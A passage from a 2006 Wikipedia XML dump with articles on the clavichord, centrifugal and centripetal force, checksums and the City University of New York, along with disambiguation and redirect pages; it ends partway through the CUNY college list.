      <text xml:space="preserve">The clavichord is a European [[Keyboard instrument|keyboard]] used in early [[European classical music|classical]], and [[Baroque]] music. Its musical sound is produced by a hammer striking strings, upon command of the player who presses keys in order to push the hammer.

&lt;!-- Unsourced image removed: [[Image:Mozart's_Clavichord.jpg|thumb|right|222|Mozart's clavichord]] --&gt;

==History and Use==

The clavichord was invented in the early fifteenth century, and was made in large numbers, especially  in the mid-18th century when it flourished in German-speaking lands, [[Scandinavia]], and the [[Iberian Peninsula]], until it fell out of use in the 1840s. [[Arnold Dolmetsch]] revived clavichord construction in the early 1900s. Although most of the instruments built before the 1730s were small, (around 4 x 1 x 1/3 ft.) and four octaves in range, the latest instruments were built up to seven feet long with a six octave range. 


Today clavichords are played within modern Baroque chamber music groups. They maintain a level of interest amongst buyers, and are manufactured worldwide. A modern clavichord can range in price from $1,000, to as much as $12,000. There are now numerous clavichord societies around the world, and some 400 recordings of the instrument have been made in the past 70 years. Leading modern exponents of the instrument include [[Derek Adlam]], [[Christopher Hogwood]], [[Paul Simmonds]], [[Richard Troeger]], and [[Miklos Spanyi]], and fine modern copies have been made by makers including [[Peter Bavington]], [[Martin Kather]], [[Joris Potvleighe]], [[Karin Richter]], [[Ronald Haas]], [[Paul Irvin]], and [[Thomas Steiner]].

The clavichord has also gained attention in other genres of music, like [[Rock_(music)|rock]] in the form of the [[clavinet]], which is essentially an electric clavichord which uses a magnetic pickup to provide a signal for amplification.

==Structure==
In the clavichord strings run transversely from an anchorage at the left-hand end to tuning pegs on the right. Towards the right end they pass over a curved wooden bridge. The action is simple, with the keys being levers with a small brass 'tangent' at the far end which strikes the strings above. Each note usually is made up of two strings which are struck simultaneously. The note is sustained as long as the tangent is in contact with the string. The volume of the note can be changed by striking harder or softer, and the pitch can also be affected by varying the force of the tangent against the string (known as ''[[bebung]]'') and can be used to give a form of [[vibrato]].

Since the string vibrates from the bridge only as far as the tangent, multiple keys with multiple tangents can be assigned to the same string (like a [[monochord]]). This is called a ''fretted clavichord''. This technique simplifies the construction since fewer strings are required, but it limits the abilities of the instrument, since only one note can be played at a time on each string. As a result there are rarely more than two notes assigned to each string. They are usually chosen so that notes which are rarely heard together (such as C and C#) are on the one string. In the late 18th century, clavichords were often built ''unfretted'', with a separate pair of strings for each key. 

Instruments were built with one or two [[manual (music)|manual]]s and pedals, for the practice use of [[pipe organ|organists]]. This use was common in the days before the invention of the electric blower, and there is speculation that some practice [[etude]]s labeled ''organ'' by the composers and now regarded as organ repertoire were in fact more accurately written for the pedal clavichord.

==Music==

Much of the music written for [[harpsichord]], [[piano]], and [[organ (music)|organ]] from the period circa 1400-1800 can be played on the clavichord; however, it is too quiet to use in any but the smallest ensembles. [[Johann Sebastian Bach|J. S. Bach]]'s son [[Carl Philipp Emmanuel Bach]] was a great proponent of the instrument. Both [[Wolfgang Amadeus Mozart|Mozart]], and [[Ludwig van Beethoven|Beethoven]] played the clavichord.

==External links==
*[http://www.harpsichord-sd.com/clavichord/|A brief history of the clavichord]
*[http://piano.christophersmit.com/clavichord.html|A modern clavichord producer]

[[Category:String instruments]]
[[Category:Keyboard instruments]]
[[Category:Composite_chordophones]]

[[de:Clavichord]]
[[es:Clavicordio]]
[[fi:Klavikordi]]
[[fr:Clavicorde]]
[[he:קלאוויקורד]]
[[it:Clavicordo]]
[[ja:クラヴィコード]]
[[nl:Clavichord]]
[[pl:Klawikord]]
[[sv:Klavikord]]
[[zh:&amp;#32764;&amp;#29748;]]</text>
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  </page>
  <page>
    <title>Centrifugal force</title>
    <id>7532</id>
    <revision>
      <id>42073482</id>
      <timestamp>2006-03-03T17:15:00Z</timestamp>
      <contributor>
        <username>Henning Makholm</username>
        <id>716284</id>
      </contributor>
      <minor />
      <comment>/* References and external links */ Rv grafitti</comment>
      <text xml:space="preserve">'''Centrifugal force''' (from [[Latin]] ''centrum'' &quot;center&quot; and ''fugere'' &quot;to flee&quot;) is a term which may refer to two ''different'' [[force]]s which are related to [[rotation]]. Both of them are oriented away from the [[axis of rotation]], but the object on which they are exerted differs.

* The '''[[reaction (physics)|reactive]]''' centrifugal force is the reaction to the [[centripetal force]]. This is equal in magnitude to the centripetal force, directed away from the center of rotation, and is exerted by the rotating object upon the object which exerts the centripetal force. As it is an actual force, it is always present, independent of the choice of [[reference frame]].

* The '''[[fictitious force|fictitious]]''' centrifugal force appears when a rotating reference frame is used for analyzing the system. The centrifugal force is exerted on all objects, and directed away from the axis of rotation.

Both of the above can be observed in action on a passenger riding in a car. If the car swerves around a corner, the passenger's body  pushes against the outer edge of the car. This is the reactive centrifugal force, which is called a reaction force because it results from passive interaction with the car which actively pushes against the body.

Using a reference frame which is fixed relative to the car (a model which those inside the car will often find natural) and while ignoring its rotation, it looks like an external force is pulling the passenger out of the car. This is the fictitious centrifugal force, so called because it is not an actual force exerted by some other object.

== Reactive centrifugal force ==
When viewed from an [[inertial frame of reference]], the application of [[Newton's laws of motion]] is simple. The passenger's inertia resists [[acceleration]], keeping the passenger moving with constant speed and direction as the car begins to turn. From this point of view, the passenger does not gravitate toward the outside of the car; instead, the car curves to meet the passenger.

Once the car contacts the passenger, it then applies a sidewise force to accelerate him or her around the turn with the car. This force is called a centri''petal'' (&quot;center seeking&quot;) force because its vector changes direction to continue to point toward the center of the car's arc as the car traverses it.

If the car is acting upon the passenger, then the passenger must be acting upon the car with an equal and opposite force. Being opposite, this reaction force is directed ''away'' from the center, therefore centri''fugal''. It is critical to realize that this centrifugal force acts upon the car, not the passenger. Basing the physics on an inertial reference frame, there is no mystery force pulling the passenger outward.

The ''centrifugal reaction force'' with which the passenger pushes back against the door of the car is trivial and is simply given by:

:{|
|-
|&lt;math&gt;\mathbf{F}_\mathrm{centrifugal} \,&lt;/math&gt;
|&lt;math&gt;= - m \mathbf{a}_\mathrm{centripetal} \,&lt;/math&gt;
|-
|
|&lt;math&gt;= m \omega^2 \mathbf{r}_\perp \,&lt;/math&gt;
|}

where &lt;math&gt;m\,&lt;/math&gt; is the mass of the rotating object.

== Rotating reference frames==
In the classical approach, this inertial frame remains the true reference for the laws of mechanics. When using a [[rotating reference frame]], the laws of physics are mapped from the most convenient inertial frame to that rotating frame. Assuming a constant rotation speed, this is achieved by adding to every object two ''coordinate accelerations'' which correct for the rotation of the coordinate axes.

:{|
|-
|&lt;math&gt;\mathbf{a}_\mathrm{rot}\,&lt;/math&gt;
|&lt;math&gt;=\mathbf{a} - 2\mathbf{\omega \times v} - \mathbf{\omega \times (\omega \times r)} \,&lt;/math&gt;
|-
|
|&lt;math&gt;=\mathbf{a + a_\mathrm{Coriolis} + a_\mathrm{centrifugal}} \,&lt;/math&gt;
|}

where &lt;math&gt;\mathbf{a}_\mathrm{rot}\,&lt;/math&gt; is the acceleration relative to the rotating frame, &lt;math&gt;\mathbf{a}\,&lt;/math&gt; is the acceleration relative to the inertial frame, &lt;math&gt;\mathbf{\omega}\,&lt;/math&gt; is the [[angular velocity]] vector describing the rotation of the reference frame, &lt;math&gt;\mathbf{v}\,&lt;/math&gt; is the velocity of the body relative to the rotating frame, and &lt;math&gt;\mathbf{r}\,&lt;/math&gt; is a vector from an arbitrary point on the rotation axis to the body. A derivation can be found in the article [[fictitious force]].

The last term is the centrifugal acceleration, so we have:

:&lt;math&gt; \mathbf{a}_\textrm{centrifugal} = - \mathbf{\omega \times (\omega \times r)} = \omega^2 \mathbf{r}_\perp &lt;/math&gt;

where &lt;math&gt;\mathbf{r_\perp}&lt;/math&gt; is the component of &lt;math&gt;\mathbf{r}\,&lt;/math&gt; perpendicular to the axis of rotation.

=== Derivation ===
If we have two frames, one inertial and one rotating with a constant angular velocity &lt;math&gt;\vec \omega&lt;/math&gt;, a time derivative of a vector in the rotating frame, &lt;math&gt;\left ( \frac{d}{dt} \right ) _r&lt;/math&gt;, is transformed to the time derivative in the inertial frame, &lt;math&gt;\left ( \frac{d}{dt} \right ) _i&lt;/math&gt;, by the following relation:

:&lt;math&gt; \left ( \frac{d}{dt} \right ) _i = \left ( \frac{d}{dt} \right ) _r + \vec \omega \times &lt;/math&gt;

This relationship is one between two [[operator]]s.  Now, acceleration is the second derivative of position with respect to time.  So, applying the above transformation to the position vector &lt;math&gt; \vec r &lt;/math&gt; once gets you:

:&lt;math&gt; \dot \vec r_i = \left ( \frac{d \vec r}{dt} \right ) _i = \left ( \frac{d \vec r}{dt} \right ) _r + \omega \times \vec r&lt;/math&gt;

Putting &lt;math&gt; \dot \vec r_i &lt;/math&gt; back into the transformation, you get:

:&lt;math&gt; \ddot \vec r_i = \left ( \frac{d \dot \vec r}{dt} \right ) _i = \left ( \frac{d \dot \vec r}{dt} \right ) _r + \omega \times \dot \vec r&lt;/math&gt;
:&lt;math&gt; \ddot \vec r_i = \left ( \frac{d^2 \vec r}{dt^2} \right ) _i = \left ( \frac{d}{dt} \right ) _r \left ( \left ( \frac{d \vec r}{dt} \right ) _r + \omega \times \vec r \right ) + \vec \omega \times \left ( \left ( \frac{d \vec r}{dt} \right ) _r + \omega \times \vec r \right )&lt;/math&gt;

Because &lt;math&gt;\vec \omega&lt;/math&gt; is a contant vector - that is the rotating reference frame is rotating constantly in the same direction - it's time derivative is zero.  So, simplifying:

:&lt;math&gt; \ddot \vec r_i = \left ( \frac{d^2 \vec r}{dt^2} \right ) _i = \left ( \frac{d^2 \vec r}{dt^2} \right ) _r + \omega \times \left ( \frac{d \vec r}{dt} \right ) _r + \vec \omega \times \left ( \frac{d \vec r}{dt} \right ) _r + \omega \times \omega \times \vec r&lt;/math&gt;
:&lt;math&gt; \ddot \vec r_i = \left ( \frac{d^2 \vec r}{dt^2} \right ) _i = \left ( \frac{d^2 \vec r}{dt^2} \right ) _r + 2 \vec \omega \times \left ( \frac{d \vec r}{dt} \right ) _r + \omega \times \omega \times \vec r&lt;/math&gt;

Finally, putting in &lt;math&gt;\vec a&lt;/math&gt; for &lt;math&gt;\left ( \frac{d^2 \vec r}{dt^2} \right )&lt;/math&gt; and &lt;math&gt;\vec v_r&lt;/math&gt; for &lt;math&gt;\left ( \frac{d \vec r}{dt} \right ) _r&lt;/math&gt;, we get the following:

:&lt;math&gt; \vec a_i = \vec a_r + 2 \vec \omega \times \vec v_r + \vec \omega \times \left ( \vec \omega \times \vec r \right )&lt;/math&gt;

Moving things to the other side, but reversing one cross-product in each term, you find:

:&lt;math&gt; \vec a_r = \vec a_i + 2 \vec v_r \times \vec \omega + \vec \omega \times \left ( \vec r \times \vec \omega \right )&lt;/math&gt;

This tells us that &lt;math&gt;\vec a_r&lt;/math&gt;, the acceleration of some object at &lt;math&gt;\vec r&lt;/math&gt; as observed by someone at rest in the rotating frame is equal to the acceleration, &lt;math&gt;\vec a_i&lt;/math&gt;, as observed by an observer in the inertial, non-rotating frame, plus &lt;math&gt;2 \vec v_r \times \vec \omega&lt;/math&gt;, which is the [[coriolis effect]]'s contribution to the acceleration, and &lt;math&gt;\vec \omega \times \left ( \vec r \times \vec \omega \right )&lt;/math&gt;, which is the [[centrifugal force]] term.

== Fictitious centrifugal force ==
An alternative way of dealing with a rotating frame of reference is to make Newton's laws of motion artificially valid in it by adding fictitious forces that are pretended to be the cause of the above acceleration terms. In particular, the centrifugal acceleration is added to the motion of every object, and attributed to a fictitious centrifugal force, given by:

:{|
|-
|&lt;math&gt;\mathbf{F}_\mathrm{centrifugal} \,&lt;/math&gt;
|&lt;math&gt;= m \mathbf{a}_\mathrm{centrifugal} \,&lt;/math&gt;
|-
|
|&lt;math&gt;=m \omega^2 \mathbf{r}_\perp \,&lt;/math&gt;
|}

where &lt;math&gt;m\,&lt;/math&gt; is the mass of the object.

This centrifugal force is a sufficient correction to Newton's second law only if the body is stationary in the rotating frame. For bodies that move with respect to the rotating frame it must be supplemented with a fictitious [[Coriolis force]]. For example, a body that is stationary relative to the ''non''-rotating frame, will be rotating when viewed from the rotating frame. The ''centripetal'' force of &lt;math&gt;-m \omega^2 \mathbf{r}_\perp&lt;/math&gt; required to account for this apparent rotation is the sum of the centrifugal force (&lt;math&gt;m \omega^2 \mathbf{r}_\perp&lt;/math&gt;) and the Coriolis force (&lt;math&gt;-2m \mathbf{\omega \times v} = -2m \omega^2 \mathbf{r}_\perp&lt;/math&gt;). Since this centripetal force includes contributions from only fictitious forces, it has no reactive counterpart.

=== Potential energy of the fictitious centrifugal force ===
The fictitious centrifugal force can be described by a [[potential energy]] of the form

:&lt;math&gt;E_p = -\frac{1}{2} m \omega^2 r_\perp^2&lt;/math&gt;

This is useful, for example, in calculating the form of the water surface &lt;math&gt;h(r)\,&lt;/math&gt; in a rotating bucket: requiring the potential energy per unit mass on the surface &lt;math&gt;gh(r) - \frac{1}{2}\omega^2 r^2\,&lt;/math&gt; to be constant, we obtain the [[parabolic]] form &lt;math&gt;h(r) = \frac{\omega^2}{2g}r^2 + C&lt;/math&gt; (where &lt;math&gt;C&lt;/math&gt; is a constant).

Similarly, the potential energy of the centrifugal force is often used in the calculation of the height of the [[tide]]s on the Earth (where the centrifugal force is included to account for the rotation of the Earth around the Earth-Moon center of mass).

The principle of operation of the [[centrifuge]] also can be simply understood in terms of this expression for the potential energy, which shows that it is favorable energetically when the volume far from the axis of rotation is occupied by the heavier substance.

==Centrifugal forces in statics==
Consider a ball that swings around a stationary pivot to which it is [[Tetherball|tethered]] by a light, strong rope. There is tension in the rope, pulling inwards on the ball (the centripetal force) and simultaneously pulling outwards on the pivot (the reactive centrifugal force). The tension is real, so these two forces still exist if we move to a corotating frame. However, in the rotating frame there is also a fictitious centrifugal force that pulls outwards on the ''ball''. It is distinct from the reactive centrifugal force that pulls outward on the ''pivot''.

When solving [[statics]] problems in a rotating frame (e.g. when calculating the internal stresses in a [[flywheel]]) it is convenient to think of the fictitious centrifugal force as being transmitted through the rope and ''becoming'' the pull on the pivot. In statics one often considers a force &quot;the same&quot; before and after it has been conveyed by a structural element, so according to this view the reaction force on the pivot ''is'' the fictitious force.

This identification often leads to confusion about the &quot;fictitious&quot; nature of the centrifugal force, because the pull on the pivot is a perfectly real force. The confusion can be resolved by noting that the distinction between fictitious and real forces depends on the frame of reference that one chooses for the laws of physics. On the other hand, considering the reaction force to ''be'' the fictitious force is only valid in [[statics]], that is, once we have decided to always use that particular reference frame in which the entire system is stationary. The convenience of viewing a transmitted force as the same as the original force comes at the cost of a meaningful distinction between whether a force is real or fictitious.

==Confusion and misconceptions==
Centrifugal force can be a confusing term because it is used (or misused) in more than one instance, and because sloppy labeling can obscure which forces are acting upon which objects in a system (which is true for physics in general). When diagramming forces in a system, one must describe each object separately, attaching only those forces acting ''upon'' it (not forces that it ''exerts'' upon other objects).

One can avoid dealing with fictitious forces entirely by analyzing systems using only [[Inertial frame of reference|inertial frames of reference]]. This is not necessarily the simplest approach, however: [[weather forecasting]] is made considerably simpler by always remaining within the rotating frame of the Earth, and taking the fictitious [[Coriolis effect]] as given.

Because rotating frames are not vital for understanding mechanics, science teachers often de-emphasize the fictitious centrifugal force that arises in a rotating reference frame. However, in their zeal to stamp out the misunderstanding of the term in this one case, they may try to expunge it from the language entirely.

==References and external links==
* [http://members.tripod.com/~gravitee/booki2.htm Newton's description in Principia] 
* [http://www.infoplease.com/ce6/sci/A0811114.html Centrifugal force] - Columbia electronic encyclopedia
* [http://scienceworld.wolfram.com/physics/CentrifugalForce.html Centrifugal Force] - from [[ScienceWorld]]
* [http://www.sos.bangor.ac.uk/~oss041/des/o1p01/text/coriolis.html Java applet] demonstrating centrifugal and Coriolis forces
* M. Alonso and E.J. Finn, ''Fundamental university physics'', Addison-Wesley

[[Category:Force]]
[[Category:Mechanics]]

[[da:Centrifugalkraft]]
[[de:Zentrifugalkraft]]
[[es:Fuerza centrífuga]]
[[fi:Keskipakoisvoima]]
[[fr:Force centrifuge]]
[[he:כוח צנטריפוגלי]]
[[it:Forza centrifuga]]
[[ko:원심력]]
[[nl:Middelpuntvliedende kracht]]
[[ja:遠心力]]
[[pl:Siła odśrodkowa]]
[[sv:Centrifugalkraft]]
[[vi:Lực ly tâm]]
[[zh:離心力]]</text>
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  <page>
    <title>Centripetal force</title>
    <id>7534</id>
    <revision>
      <id>41562286</id>
      <timestamp>2006-02-28T04:09:10Z</timestamp>
      <contributor>
        <ip>72.224.95.121</ip>
      </contributor>
      <text xml:space="preserve">An object that moves in a [[rotation|circular path]] undergoes a continuous [[acceleration]] towards the center of the circle. The [[net force]] that causes this acceleration is called a
'''centripetal force''' (from [[Latin]] ''centrum'' &quot;center&quot; and ''petere'' &quot;tend towards&quot;). This term refers to the ''effect'' of the force (namely, to maintain the circular motion of the object); the ''origin'' of the centripetal force can be anything that causes a [[force]] to exist. An object can travel in a circle with a constant [[speed]] only if the [[net force]] acting on it is a centripetal force. (And if the object is traveling in a circle with a varying [[speed]], the component of the [[net force]] along the [[radius]] is the centripetal force.)

In the case of an orbiting [[satellite]], the centripetal force is supplied by the gravitational attraction between the satellite and its primary, and acts toward the center of mass which lies in the satellite's primary; in the case of an object at the end of a rope rotating about a [[vertical]] [[axis of rotation|axis]], the centripetal force is the [[horizontal]] component of the tension of the rope which acts towards the [[axis of rotation]]. In the case of a spinning object, internal [[tensile stress]] gives the centripetal force that keeps the objects together in one piece.

Centripetal force must not be mixed up with [[centrifugal force]]. In an [[inertial reference frame]] (not rotating or accelerating), the centripetal force accelerates a particle in such a way that it moves along a circular path. In a corotating [[reference frame]], a particle in circular motion appears to have zero velocity, if the rotation is not accounted for. The centripetal force is exactly cancelled by a centrifugal force that in this approach appears as a [[fictitious force]]. Centripetal forces are according to Newtonian mechanics true forces, while centrifugal forces only appear relative to rotating frames. 

Centripetal force must not be confused with [[central force]] either. 

Objects moving in a straight line with constant speed also have constant [[velocity]]. However, an object moving in an arc with constant speed has a changing direction of motion. As velocity is a vector of speed and direction, a changing direction implies a changing velocity. The rate of this change in velocity is the '''centripetal acceleration'''. [[Derivative|Differentiating]] the velocity vector gives the direction of this acceleration towards the center of the circle.

== Formula ==
The centripetal acceleration is given by

:&lt;math&gt; \mathbf{a}_c = - \frac{v^2}{r} \hat{\mathbf{r}} = - \frac{v^2}{r} \frac{\mathbf{r}}{r} = - \omega^2 \mathbf{r}&lt;/math&gt;

By [[Newton's second law of motion]], as there is an [[acceleration]] there has to be a [[force]] in the direction of the acceleration. This is the centripetal force, and is equal to:

:&lt;math&gt; \mathbf{F}_c = - \frac{m v^2}{r} \hat{\mathbf{r}} = - \frac{m v^2}{r} \frac{\mathbf{r}}{r} = - m \omega^2 \mathbf{r}&lt;/math&gt;

''(where m is mass, v is velocity, r is radius of the circle, and the minus sign denotes that the vector points to the center of the circle and &amp;omega; = v / r is the [[angular velocity]])''.
In vector notation we can write:

:&lt;math&gt; \boldsymbol F_c = m \boldsymbol\omega \times   (\boldsymbol\omega \times   \boldsymbol r )&lt;/math&gt;,

where &lt;math&gt;\boldsymbol\omega&lt;/math&gt; is the angular velocity vector of the rotation and &lt;math&gt;\boldsymbol r&lt;/math&gt; is a vector from an arbitrary point on the rotation axis to the body (with mass &lt;math&gt;m&lt;/math&gt;).

== Derivation ==
Simply use a [[polar coordinate system]], assume a constant radius, and differentiate twice. 

Let '''r'''(t) be a vector that describes the position of a [[point mass]] as a function of time. Since we are assuming uniform [[circular motion]], let '''r'''(t) = R&amp;middot;'''u'''&lt;sub&gt;r&lt;/sub&gt;, where R is a constant (the radius of the circle) and '''u'''&lt;sub&gt;r&lt;/sub&gt; is the [[unit vector]] pointing from the origin to the point mass. In terms of Cartesian unit vectors:

:&lt;math&gt;u_r = cos(\theta)u_x + sin(\theta)u_y \, &lt;/math&gt;

''Note: unlike in [[cartesian coordinates]] where the unit vectors are constants, in [[coordinates (elementary mathematics)|polar coordinates]] the direction of the unit vectors depend on the angle between the x_axis and the point being described; the angle &amp;theta;.''

So we differentiate to find velocity:

:&lt;math&gt;v = R \frac {du_r}{dt} \, &lt;/math&gt;

:&lt;math&gt;v = R \frac{d\theta}{dt} u_\theta \, &lt;/math&gt;

:&lt;math&gt;v = R \omega u_\theta \, &lt;/math&gt;

where &amp;omega; is the angular velocity (just a short way of writing d&amp;theta;/dt), '''u'''&lt;sub&gt;&amp;theta;&lt;/sub&gt; is the unit vector that is perpendicular to '''u'''&lt;sub&gt;r&lt;/sub&gt; that points in the direction of increasing &amp;theta;. In cartesian terms:  '''u'''&lt;sub&gt;&amp;theta;&lt;/sub&gt; = -sin(&amp;theta;) '''u'''&lt;sub&gt;x&lt;/sub&gt; + cos(&amp;theta;) '''u'''&lt;sub&gt;y&lt;/sub&gt;

This result for the velocity is good because it matches our expectation that the velocity should be directed around the circle, and that the magnitude of the velocity should be &amp;omega;R. Differentiating again, we find that the acceleration, '''a''' is:

:&lt;math&gt;a = R \left( \frac {d\omega}{dt} u_\theta - \omega^2 u_r \right) \, &lt;/math&gt;

Thus, the radial component of the acceleration is:

:&lt;math&gt;a_r = -\omega^2 R \, &lt;/math&gt;

== See also ==
* [[Centrifugal force]]
* [[Circular motion]]
* [[Coriolis effect|Coriolis force]]

== References ==
* {{cite book
 | author = Serway, Raymond A.; Jewett, John W.
 | title = Physics for Scientists and Engineers
 | edition = 6th ed.
 | publisher = Brooks/Cole
 | year = 2004
 | id = ISBN 0534408427
 }}
* {{cite book
 | author = Tipler, Paul
 | title = Physics for Scientists and Engineers: Mechanics, Oscillations and Waves, Thermodynamics
 | edition = 5th ed.
 | publisher = W. H. Freeman | year = 2004
 | id = ISBN 0716708094
 }}

[[Category:Force]]
[[Category:Mechanics]]

[[cs:Dostředivá síla]]
[[de:Zentripetalkraft]]
[[eo:Centrifuga forto]]
[[es:Fuerza centrípeta]]
[[fi:Sentripetaalivoima]]
[[it:Forza centripeta]]
[[ja:回転運動]]
[[ko:구심력]]
[[pl:Siła dośrodkowa]]
[[sl:Centripetalna sila]]
[[sv:Centripetalkraft]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore</title>
    <id>7535</id>
    <revision>
      <id>40924319</id>
      <timestamp>2006-02-23T22:35:24Z</timestamp>
      <contributor>
        <username>Ugur Basak</username>
        <id>298337</id>
      </contributor>
      <comment>interwiki</comment>
      <text xml:space="preserve">'''Commodore''' has several meanings:

* [[Commodore (rank)]], a naval rank.
** the similar fictional rank of [[Commodore (Star Trek)]].
* [[Commodore International]], a computer company, manufacturers of:
** [[Commodore PET]].
** [[Commodore VIC-20]].
** [[Commodore 64]].
** [[Amiga]].
* Commodore Semiconductor Group, a microprocessor and calculator company formerly known as [[MOS Technology|MOS Technology, Inc.]]
* The senior officer of a [[yacht club]].
* [[Holden Commodore]], a car.
* [[Opel Commodore]], a car
* [[Consolidated Aircraft Commodore]], a [[flying boat]].
* ''[[The Commodore]]'', a Horatio Hornblower novel by C. S. Forester.
* ''The Commodore'', a novel in the [[Aubrey–Maturin series]] by Patrick O'Brian.
* [[Commodore Ballroom]], a nightclub in Vancouver, British Columbia.
* [[The Commodores]], a soul/funk band of the 1970s.

Some famous people are commonly referred to as Commodore:
* Commodore Perry is [[Matthew Perry (naval officer)]].
* Commodore Vanderbilt is [[Cornelius Vanderbilt]].

{{disambig}}

[[da:Commodore]]
[[de:Commodore]]
[[es:Commodore]]
[[fr:Commodore]]
[[nl:Commodore]]
[[nn:Commodore]]
[[tr:Commodore]]</text>
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  </page>
  <page>
    <title>Conditioning (disambiguation)</title>
    <id>7536</id>
    <revision>
      <id>39683750</id>
      <timestamp>2006-02-15T03:36:30Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">* '''Conditioning''' in [[Psychology]] refers to one of two types of learning: [[Classical conditioning]] and [[Operant conditioning]].
* '''Conditioning''' is also an [[engineering]] term for putting something (for example, a communications link) into a particular condition.  
* In [[mathematics]], the '''conditioning''' of a [[Matrix (mathematics)|matrix]] is expressed by its [[condition number]]. 
* In [[probability theory]], '''conditioning''' is the adoption of [[conditional probability|conditional probabilities]] based on observed events.  
* '''Conditioning''' is also a term used in [[athletics]] for exercises designed to improve one's general [[fitness]].

[[de:Konditionierung]]
[[es:Condicionamiento]]
[[fr:Conditionnement]]
[[gl:Condicionamento]]
[[nl:Geconditioneerde reflex]]</text>
    </revision>
  </page>
  <page>
    <title>Checksum</title>
    <id>7538</id>
    <revision>
      <id>41377394</id>
      <timestamp>2006-02-26T23:07:43Z</timestamp>
      <contributor>
        <username>Eloy</username>
        <id>522704</id>
      </contributor>
      <minor />
      <comment>+es</comment>
      <text xml:space="preserve">:''This article is about checksums calculated using addition.  The term &quot;checksum&quot; is sometimes used in a more general sense to refer to any kind of [[redundancy check]].  Checksums on decimal numbers are discussed under [[check digit]].''

A '''checksum''' is a form of [[redundancy check]], a very simple measure for protecting the integrity of data by [[error detection|detecting errors]] in data that is sent through space ([[telecommunication]]s) or time ([[Computer storage|storage]]).  It works by adding up the basic components of a message, typically the [[byte]]s, and storing the resulting value. Later, anyone can perform the same operation on the data, compare the result to the authentic checksum, and (assuming that the sums match) conclude that the message was probably not corrupted.

The simplest form of checksum, which simply adds up the bytes in the data, cannot detect a number of types of errors. In particular, such a checksum is not changed by:
* reordering of the bytes in the message 
* inserting or deleting zero-valued bytes
* multiple errors that cancel out each other

More sophisticated types of redundancy check, including [[Fletcher's checksum]], [[Adler-32]], and [[cyclic redundancy check]]s (CRCs), are designed to address these weaknesses by considering not only the value of each byte but also its position. The cost of the ability to detect more types of error is the increased [[complexity]] of computing the checksum.

These types of redundancy check are useful in detecting ''accidental'' modification such as corruption to stored data or errors in a communication channel. However, they provide no security against a malicious agent as their simple [[mathematical structure]] makes them trivial to circumvent. To provide this level of integrity, the use of a [[cryptographic hash function]], such as [[SHA-256]], is necessary.  (Collisions have been found in SHA-1, currently the most popular choice, but there is no evidence as of 2005 that SHA-256 suffers similar weaknesses.)

On [[Unix|UNIX]] there is a tool called &quot;cksum&quot; that generates both a 32 bit CRC and a byte count for any given input file.

==See also==
* [[Check digit]]
* [[Hamming code]]
* [[List of checksum algorithms]]
* [[Luhn algorithm]]
* [[Parity bit]]

==External links==
* [http://www.jonelo.de/java/jacksum/index.html Jacksum] (a free open source program with various message verification functions)

[[Category:Checksum algorithms|*]]

[[de:Prüfsumme]]
[[es:Suma de verificación]]
[[nl:Checksum]]
[[ja:チェックサム]]
[[pl:Suma kontrolna]]
[[fi:Tarkistussumma]]
[[is:Prófsumma]]
[[fr:Somme de contrôle]]</text>
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  </page>
  <page>
    <title>Cosmic Background Radiation</title>
    <id>7539</id>
    <revision>
      <id>30556064</id>
      <timestamp>2005-12-08T04:12:06Z</timestamp>
      <contributor>
        <username>Joke137</username>
        <id>184529</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Cosmic microwave background radiation]]</text>
    </revision>
  </page>
  <page>
    <title>Cultural evolution</title>
    <id>7540</id>
    <revision>
      <id>19845546</id>
      <timestamp>2005-07-29T10:46:08Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Sociocultural evolution]]</text>
    </revision>
  </page>
  <page>
    <title>City University of New York</title>
    <id>7541</id>
    <revision>
      <id>40964209</id>
      <timestamp>2006-02-24T03:49:21Z</timestamp>
      <contributor>
        <username>Izzycat</username>
        <id>69011</id>
      </contributor>
      <text xml:space="preserve">[[Image:Cunylogo.jpg|right]]
The '''City University of New York''' (CUNY; [[acronym]] usually pronounced &quot;kyoo-nee&quot; or &quot;coo-nee&quot;), located in [[New York City]], is the largest urban university in the [[United States]], with more than 198,000 enrolled in degree programs, about 20,000 enrolled in non-degree programs and more than 200,000 enrolled in adult and continuing education courses at campuses in all five boroughs.  It is the third-largest university system, in terms of enrollment, in the [[United States]], behind the [[State University of New York]] system and the [[California State University]] system.

CUNY and the [[State University of New York]] are entirely different university systems, despite the fact that both are public institutions which receive funding from New York State.

== History ==

CUNY's history dates back to the formation of the Free Academy in [[1847]]. The school was fashioned as &quot;a Free Academy for the purpose of extending the benefits of education gratuitously to persons who have been pupils in the common schools of the &amp;#8230;city and county of New York.&quot; The Free Academy later became The City College, the first CUNY college. From this grew a system of seven senior colleges, four hybrid schools, six community colleges, as well as graduate schools and professional programs. CUNY was established in [[1961]] as the umbrella institution of the municipal colleges of New York City.

== Structure ==

The City University is governed by the Board of Trustees composed of 17 members, ten of whom are appointed by the Governor of [[New York]] &quot;with the advice and consent of the senate,&quot; and five by the Mayor of New York City &quot;with the advice and consent of the senate.&quot; One trustee is the chair of the university's student senate, and finally, one trustee, without a vote, is the chair of the university's faculty senate. Both the mayoral and gubernatorial appointments to the CUNY Board are required to include at least one resident of each of New York City's five boroughs. Trustees serve seven-year terms, which are renewable for another seven years. College presidents report directly to the Board.

The Chancellor is voted upon by the Board of Trustees, and is the &quot;chief educational and administrative officer&quot; of the City University. 

Unlike other state college systems, CUNY does not operate as a central authority to the colleges and, in fact, the central administration has limited power over the colleges. This is partly because most of the senior colleges (namely Brooklyn, Hunter, Queens, and City) predate CUNY and were thus established by mandate of the New York State Legislature, which has institutionalized the autonomy of the colleges. College presidents and faculty typically view CUNY as a loose confederation rather than a unified system.  Nevertheless, in recent years and at the behest of the Governor and the Mayor, the Board of Trustees and the Chancellor have, through the power of the purse, succeeded in weakening the college presidents and faculty and consolidating executive powers to themselves.

== Colleges ==

CUNY consists of three different types of institutions: senior colleges, which grant bachelor's degrees and occasionally master's and associates degrees; community colleges, which grant associate's degrees; and graduate/professional schools. CUNY's Law School grants juris doctor (J.D.) degrees, and Ph.D. degrees are awarded only by the CUNY Graduate Center.

The colleges are listed below, with establishment dates in parentheses.

=== Senior colleges ===

*([[1970]]) [[Medgar Evers College]]
*([[1966]]) [[York College, City University of New York|York College]] 
